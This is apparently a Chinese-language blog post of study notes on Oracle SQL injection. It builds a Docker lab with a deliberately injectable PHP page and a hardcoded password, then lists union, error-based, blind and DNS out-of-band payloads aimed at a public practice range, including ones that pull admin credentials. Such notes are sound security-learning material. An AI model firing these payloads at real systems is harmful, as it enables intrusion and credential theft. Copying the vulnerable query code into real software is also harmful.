Oracle注入学习笔记

在 docker 搭建环境,尽量全面的实践一下 oracle 注入漏洞(碎碎念:最近觉得有些迷茫,有些事情真的是命运的安排啊,既然暂时不知道该怎么办就好好努力叭)对了,这里只记录对我个人理解很有帮助的地方和我印象比较深的特性,其他更细节的内容可以参考官方文档 https://docs.oracle.com/en/ 和文末师傅们的博客

一、环境搭建

1.1安装oracle 12c并数据持久化

查询镜像:docker search oracle

 

下载镜像:docker pull docker.io/truevoly/oracle-12c

查看镜像:docker images

(删除镜像:docker rmi <your-image-id>)

 

创建备份数据存放目录:

mkdir /usr/local/oracle/data_temp  && chmod 777 /usr/local/oracle/data_temp

启动 oracle:

docker run --name myoracle --restart always -d -p 8080:8080 -p 1521:1521 -e ORACLE_ALLOW_REMOTE=true -v /usr/local/oracle/data_temp:/u01/app/oracle truevoly/oracle-12c

  • --name myoracle     容器名字
  • --restart alwaysdocker  重启时容器自动启动
  • -d                             后台运行容器并返回容器ID
  • -p 本机端口:容器端口    端口映射
  • -e ORACLE_ALLOW_REMOTE=true  设置允许远程连接
  • -v 本地目录:容器目录                            挂载本地目录,将数据保留在本机来达到数据持久化的目的

查看安装进度:docker logs -f 容器ID

 

进入容器:docker exec -it myoracle env LANG=C.UTF-8 /bin/bash

  • -it                                容器名
  • env LANG=C.UTF-8  正常处理中文

创建 sqlplus 的软链接:ln -s $ORACLE_HOME/bin/sqlplus /usr/bin

切换到 oracle 账户:su oracle

连接 oracle(以操作系统权限认证的 oracle sys 管理员登陆):sqlplus / as sysdba

 

新建用户并赋予权限

#创建数据库表空间名
SQL> create tablespace pentest datafile '/u01/app/oracle/oradata/xe/pentest.dbf' size 100m;

Tablespace created.

#创建用户并指定表空间
SQL> create user sqltest identified by Ssdlh12345 default tablespace pentest;User created.

#赋权
SQL> grant connect,resource,dba to sqltest;

Grant succeeded.

SQL> exit
Disconnected from Oracle Database 12c Standard Edition Release 12.1.0.2.0 - 64bit Production

#sqltest用户连接
oracle@b25a6b033f93:/$ $ORACLE_HOME/bin/sqlplus sqltest/Ssdlh12345

SQL*Plus: Release 12.1.0.2.0 Production on Mon Oct 25 06:30:45 2021

Copyright (c) 1982, 2014, Oracle.  All rights reserved.


Connected to:
Oracle Database 12c Standard Edition Release 12.1.0.2.0 - 64bit Production

SQL>

 

插入测试数据(数据参考博客贴在最后面了)

#建表
SQL> CREATE TABLE users (id number,name varchar(500),surname varchar(1000));

Table created.
#导入数据
SQL> INSERT INTO users (id, name, surname) VALUES (1, 'luther', 'blisset');
INSERT INTO users (id, name, surname) VALUES (2, 'fluffy', 'bunny');
INSERT INTO users (id, name, surname) VALUES (3, 'wu', 'ming');
INSERT INTO users (id, name, surname) VALUES (4, 'sqlmap/1.0-dev (http://sqlmap.org)', 'user agent header');
INSERT INTO users (id, name, surname) VALUES (5, NULL, 'nameisnull');
commit;

 

1.2安装apache-php-oracle

查询镜像:docker search docker-apache-php-oracle

下载镜像:docker pull thomasbisignani/docker-apache-php-oracle

启动 apache-php-oracle:

docker run --name myphp -p 8090:80 -d -v /usr/local/oracle/sample:/var/www/html thomasbisignani/docker-apache-php-oracle 

查看安装进度时有一个警告,但是不影响什么

 

在 /usr/local/oracle/sample 目录新建 oracle 注入靶场文件 oracle_test.php

<?php

$username = 'sqltest';
$password = 'Ssdlh12345';

$connectText = '//ip.ip.ip.ip:1521/XE';
 $conn = oci_connect($username, $password, $connectText);
 if (!$conn) {
     $e = oci_error();
     echo 'Oracle connect failed <br />';
     exit($e['message']);
 }
 echo 'Oracle connect ok' . "<br>";
 // Prepare the statement
 if (!isset($_GET['id']) || $_GET['id'] == null) {
     echo "oracle sqlinjection test: oracle_test.php?id=1</br>";
     $stid = oci_parse($conn, "select * from USERS");
 } else {
     //SQL injection!!!!!!
     $stid = oci_parse($conn, "SELECT * FROM users where id=" . $_GET['id']);
 }
 if (!$stid) {
     $e = oci_error($conn);
     exit($e['message']);
 }
 // Perform the logic of the query
 $r = oci_execute($stid);
 if (!$r) {
     $e = oci_error($stid);
     exit($e['message']);
 }
 // Fetch the results of the query
 print "<table border='1'>\n";
 while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS)) {
     print "<tr>\n";
     foreach ($row as $item) {
         $item = ($item !== null ? mb_convert_encoding($item, 'utf-8', 'gbk') : " ");
         print "    <td>" . $item . "</td>\n";
     }
     print "</tr>\n";
 }
 print "</table>\n";
 oci_free_statement($stid);
 oci_close($conn);
 ?>

 

浏览器访问

 

1.3测试环境启动小结

每次实验完停止并删除容器

docker stop myoracle
docker rm myoracle
docker stop myphp
docker rm myphp

 

需要时再次执行以下命令启动环境

#启动oracle
docker run --name myoracle --restart always -d -p 8080:8080 -p 1521:1521 -e ORACLE_ALLOW_REMOTE=true -v /usr/local/oracle/data_temp:/u01/app/oracle truevoly/oracle-12c

#启动apache-php-oracle
docker run --name myphp -p 8090:80 -d -v /usr/local/oracle/sample:/var/www/html thomasbisignani/docker-apache-php-oracle

#进入oracle容器里面
docker exec -it myoracle env LANG=C.UTF-8 /bin/bash

#以sqltest身份进入oracle命令行
$ORACLE_HOME/bin/sqlplus sqltest/Ssdlh12345

#修改php
修改/usr/local/oracle/sample下的文件

#浏览器访问
vps ip:8090

 

二、oracle基础学习

快速掌握新知识的一个好方法是,学习它的特性和类比其它已经掌握的知识,对照着学习它和旧知识的共同点和不同点,学习 oracle 基础知识浏览了很多博客,发现很多师傅都是按照这个思路讲解,在这里记录一些对于我来说理解 oracle 基础很有帮助的思路,参考博客都贴在最后了

2.1oracle特性

  • 数据库中使用的语言有三种:SQL,JAVA,PL/SQL(块结构语言,类似存储过程是一种过程化的语言)
  • 一个新概念:表空间(数据文件就是由多个表空间组成的,这些数据文件和相关文件形成一个完整的数据库),oracle 没有 mysql 的数据库概念,而是用表空间来代替,一个 oracle 只有一个数据库,它给账户开辟数据库空间,称之为表空间,创建数据库就是开辟账户的表空间
  • 当数据库创建时,oracle 会默认创建五个表空间:SYSTEM、SYSAUX、USERS、UNDOTBS、TEMP

1.SYSTEM:存储系统表和管理配置等基本信息

(系统表:

      • DBA_TABLES : 系统里所有的表的信息,需要DBA权限才能查询
      • ALL_TABLES : 当前用户有权限的表的信息(只要对某个表有任何权限,即可在此视图中看到表的相关信息)
      • USER_TABLES: 当前用户名下的表的信息
      • DBA_ALL_TABLES:DBA 用户所拥有的或有访问权限的对象和表
      • ALL_ALL_TABLES:某一用户拥有的或有访问权限的对象和表
      • USER_ALL_TABLES:某一用户所拥有的对象和表)

2.SYSAUX:类似SYSTEM,主要存放一些系统附加信息,以便减轻SYSTEM的空间负担

3.UNDOTBS:用于事务回退等

4.TEMP:作为缓存空间减少内存负担

5.USERS:存储我们定义的表和数据

  • 虚表 dual:它没有实际的存储意义,永远只存储一条数据,因为 oracle 的语法要求 select 后必须跟上 from,所以通常使用 dual 来作为计算、查询时间等SQL语句中 from 之后的虚表占位,例如 select 1+1 from dual
  • 角色:oracle 对于将用户权限的集合称为角色
    1. DBA:拥有全部特权,是系统最高权限,只有 dba 才可以创建数据库结构
    2. RESOURCE:拥有 resource 权限的用户只可以创建实体,不可以创建数据库结构
    3. CONNECT:拥有 connect 权限的用户只可以登录 oracle,不可以创建实体,不可以创建数据库结构
  • 用户:创建数据库时,会默认启用 sys、system 等用户
    1. sys:相当于 linux 的 root 用户,dba 角色
    2. system:与 sys 类似,但是相对于 sys 用户,无法修改一些关键的系统数据,这些数据维持着数据库的正常运行,为 dba 角色
    3. public:public 代指所有用户,对其操作会应用到所有用户上(所有用户都有 public 用户拥有的权限,如果将 dba 权限给了 public,那么也就意味着所有用户都有了 dba 权限)

 

2.2语法

语法这里和熟悉的 mysql 对照着看

查询服务器版本:

#oracle
SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
SELECT version FROM v$instance;
#mysql
select version();

 

查询数据库信息:

#oracle
SELECT global_name FROM global_name; 
SELECT name FROM v$database;
SELECT instance_name FROM v$instance;
SELECT SYS.DATABASE_NAME FROM DUAL;
#mysql
select database();

 

查询数据库用户:

#oracle
SELECT user FROM dual;
#mysql
user();

 

查询表名:

#oracle
SELECT table_name FROM all_tables;
#mysql
select table_name from information_schema.tables;

 

查询字段名:

#oracle
SELECT column_name FROM all_tab_columns;
#mysql
select COLUMN_NAME from information_schema.COLUMNS;

 

拼接字符:

#oracle
SELECT 'a' || 'b' FROM dual;
#mysql
select 'a' 'b';

 

空字符串:

#oracle
只有null,没有空字符
#mysql
区分null和''空字符串

 

第 n 行数据:

#oracle
select * from users where rownum <=2;
#mysql
select * from users limit 2;

 

2.2注入

2.3.1联合注入

原本是想用我自己搭在服务器上的靶场实验的,但是由于国外服务器配置低 + 延时高 + 开了两个容器太卡了(meiqianmaigaopei),为了节约那么多卡住等待的时间,还是换成 oracle 在线靶场实验吧,靶场:http://o1.lab.aqlab.cn:81/?id=1

判断注入点和注入类型,为数字型注入

http://o1.lab.aqlab.cn:81/?id=1 and 1<>2    页面显示正常
http://o1.lab.aqlab.cn:81/?id=1 and 1<>1    页面显示不正常

 

判断字段数为 4

http://o1.lab.aqlab.cn:81/?id=1 order by 4    页面显示正常
http://o1.lab.aqlab.cn:81/?id=1 order by 5    页面显示不正常

 

分别在 4 个字段输出字符,判断回显点为第 2 位,to_nchar() 函数可以将字符数据从任何支持的字符集转换为NCHAR字符集,NCHAR数据类型是固定长度的UNICODE数据,NCHAR和CHAR是不能直接互相兼容的,要通过 Oracle 的函数或者语法进行转换

http://o1.lab.aqlab.cn:81/?id=1 and 1=2 union select null,to_nchar('abc'),null,null from dual    页面显示字符abc

 

查询表名

http://o1.lab.aqlab.cn:81/?id=1 and 1=2 union select null,to_nchar(table_name),null,null from user_tables where rownum=1--
查询第一个表名为NEWS
http://o1.lab.aqlab.cn:81/?id=1 and 1=2 union select null,to_nchar(table_name),null,null from user_tables where table_name<>'NEWS'--
查询第二个表名为ADMIN
http://o1.lab.aqlab.cn:81/?id=1 and 1=2 union select null,to_nchar(table_name),null,null from user_tables where table_name<>'NEWS' and table_name<>'ADMIN'--
查询第三个表名为MD5
http://o1.lab.aqlab.cn:81/?id=1 and 1=2 union select null,to_nchar(table_name),null,null from user_tables where table_name<>'NEWS' and table_name<>'ADMIN' and table_name<>'MD5'--
提示没有找到对应的数据即一共只有三个数据表,分别为NEWS、ADMIN、MD5

 

这样一个一个的查表效率有点低,还可以先查询用户名,再用类似 mysql 中 group_concat() 的方式查询表名

http://o1.lab.aqlab.cn:81/?id=1 and 1=2 union select 1,to_nchar((select user from dual)),null,null from dual--
查询用户名为ORACLE1
http://o1.lab.aqlab.cn:81/?id=1 and 1=2 union select 1,to_nchar((select LISTAGG(table_name,',')within group(order by owner)name from all_tables where owner='ORACLE1')),null,null from dual --
查询表名

 

查询ADMIN表的字段名为UNAME和UPASS

http://o1.lab.aqlab.cn:81/?id=1 and 1=2 union all select null,to_nchar(column_name),null,null from user_tab_columns where rownum=1 and table_name ='ADMIN'--
查询第一个字段名为UNAME
http://o1.lab.aqlab.cn:81/?id=1 and 1=2 union all select null,to_nchar(column_name),null,null from user_tab_columns where rownum=1 and table_name ='ADMIN' and column_name<>'UNAME'--
查询第二个字段名为UPASS

 

获取表中数据,这里只查询ADMIN表中的一组数据,原理和查询表名、字段名相同

http://o1.lab.aqlab.cn:81/?id=1 and 1=2 union all select null,to_nchar(UNAME),null,null from ADMIN where rownum=1--
查询ADMIN表中的一条UNAME数据

 

http://o1.lab.aqlab.cn:81/?id=1 and 1=2 union all select null,to_nchar(UPASS),null,null from ADMIN where UNAME='OCI'--
查询UNAME为OCI的UPASS数据

 

2.3.2报错注入

可以使用的报错注入函数有很多种,这里就实验比较常见的 ctxsys.drithsx.sn() 函数,其他报错函数语法类似,有需要时再查即可。此函数在 oracle 中用于处理文本,当传入参数类型错误时,会返回异常报错,注入方法是 1=ctxsys.drithsx.sn(1,(查询语句)) ,靶场和上文相同

查询表名

http://o1.lab.aqlab.cn:81/?id=1 and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1))--
查询第一个表名为ADMIN
http://o1.lab.aqlab.cn:81/?id=1 and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1 and table_name <> 'ADMIN'))--
查询第二个表名为NEWS
http://o1.lab.aqlab.cn:81/?id=1 and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1 and table_name <> 'ADMIN' and table_name <> 'NEWS'))--
查询第三个表名为MD5

 

查询ADMIN表的字段名为UNAME和UPASS

http://o1.lab.aqlab.cn:81/?id=1 and 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where rownum=1 and table_name = 'ADMIN'))--
查询ADMIN表的第一个字段名为UNAME
http://o1.lab.aqlab.cn:81/?id=1 and 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where rownum=1 and table_name = 'ADMIN' and column_name <> 'UNAME'))--
查询ADMIN表的第二个字段名为UPASS

 

获取表中数据,这里只查询ADMIN表中的一组数据

http://o1.lab.aqlab.cn:81/?id=1 and 1=ctxsys.drithsx.sn(1,(select UNAME from ADMIN where rownum=1))--
查询ADMIN表中的一条UNAME数据
http://o1.lab.aqlab.cn:81/?id=1 and 1=ctxsys.drithsx.sn(1,(select UPASS from ADMIN where UNAME='OCI'))--
查询UNAME为OCI的UPASS数据

 

2.3.3布尔盲注

靶场和上文相同,由上文可知ADMIN表中第一条UNAME数据为OCI,手工验证一下,只有尝试到字符C时页面显示正常,其余显示“没有找到对应数据”,可以用 burp 或者写脚本的方式批量查询数据

http://o1.lab.aqlab.cn:81/?id=1 and 1=(select decode(substr((select UNAME from ADMIN where rownum=1),2,1),'C',1,0) from dual)--
查询ADMIN表中UNAME第一条数据的第二个字母为C

 

解释一下布尔盲注使用的函数:

  • decode(字段或字段运算,值1,值2,值3)

这个函数运行的结果是,当字段或字段运算的值等于值1时,该函数返回值2,否则返回3

  • substr(需要截取的字符串,起始位置,截取长度)

注:起始位置从0和从1开始都是表示从字符串首位开始截取

 

2.3.4时间盲注

在这个靶场上我实验了两种时间盲注方式没有成功,先记录下学到的知识点,以后找机会实践吧,第一种方式是 decode() 函数与高耗时SQL操作组合进行时间盲注,因为 (select count(*) from all_objects) 是对数据库中大量数据进行查询或其他处理的操作,这样的操作会耗费较多的时间,可以通过这个方式来获取数据,但是可能由于这个靶场数据量太小了,高耗时的现象不明显导致无法判断,所以这个方法的缺点是不太准

http://o1.lab.aqlab.cn:81/?id=1 and 1=(select decode(substr((select UNAME from ADMIN where rownum=1),2,1),'C',(select count(*) from all_objects),0) from dual)--

 

第二种盲注原理是 dbms_pipe.receive_message() 函数将为从RDS管道返回的数据等待 5 秒,默认情况下允许以 public 权限执行,我这里两条语句报错都是下图,推测是 oracle 版本问题,如果是我语句构造的问题欢迎实验成功的师傅留言或私信

http://o1.lab.aqlab.cn:81/?id=1 and 1=dbms_pipe.receive_message('RDS', 5)--
判断时间盲注
http://o1.lab.aqlab.cn:81/?id=1 and 1=(select decode(substr((select UNAME from ADMIN where rownum=1),2,1),'C',dbms_pipe.receive_message('RDS',5),0) from dual)--
查询ADMIN表中UNAME第一条数据的第二个字母为C

 

2.3.5OOB查询

OOB是 Out Of Band Channels 的缩写,译为带外通道。它使用一些除常规通道以外的替代的信道来请求服务器资源,一般使用 Oracle 发送HTTP或者DNS请求,将查询结果带到请求中,然后监测外网服务器的HTTP和DNS日志,从日志中获取 sql 语句查询的结果,这个原理和我曾经写过的一篇利用 dnslog 进行 sql 盲注的随笔很像,地址是:https://www.cnblogs.com/wkzb/p/12682073.html

这里实验一下DNS解析带外,使用的是 utl_inaddr.get_host_address() 函数,还有一些其他函数也可以实现同样的效果,语法类似,有需要时再查即可

http://o1.lab.aqlab.cn:81/?id=1 and 1=2 union select null,to_nchar(utl_inaddr.get_host_address((select UNAME from ADMIN where rownum=1)||'.crmg79.dnslog.cn')),null,null from dual--
查询ADMIN表中的一条UNAME数据

 

在此靶场上没有实验成功,搜索报错找到失败原因是没有为目标主机分配访问控制列表(ACL),或者访问控制列表中的用户没有授予访问目标主机所需的权限,所以语句是没有问题的,有合适机会的时候再尝试这种数据查询方式吧

 

三、总结

写这篇笔记时中途又去学习了任意邮件伪造的相关知识(学习成果是前两篇随笔),所以断断续续用了几个晚上才学习、整理完 oracle 注入笔记。有 mysql 注入的基础后 oracle 注入很快就可以入门,无论是常规的几种注入方式还是带外通道查询原理都是相通的,如果本文出现了技术错误欢迎师傅们批评指正~

如果在自己的 vps 上实验还可以直接在命令行执行 sql 查询语句,这样可以更直观的理解(坏就坏在我的 vps 太卡了严重影响了效率,但是它太便宜了我又舍不得换,有钱了一定买个不卡的!!)对了在此提醒自己有机会还要再实验一下 oracle 提权、oracle xxe 等其他操作

 

 

参考文章:

https://www.jianshu.com/p/fb00d47ba3d9

https://www.fengwenhua.top/index.php/archives/39/

https://about.sentrylab.cn/help/ALL-SQL-INJECTION-ANALYSIS/

https://y4er.com/post/oracle-sql-inject/

https://www.tr0y.wang/2019/04/16/Oracle%E6%B3%A8%E5%85%A5%E6%8C%87%E5%8C%97/

https://www.chabug.org/web/1827.html

https://www.jianshu.com/p/5a4d6ab26bc6

https://www.zhihuifly.com/t/topic/1321

https://xz.aliyun.com/t/7897#toc-10

 

posted @ 2021-11-24 16:14  beiwo  阅读(1019)  评论(0编辑  收藏  举报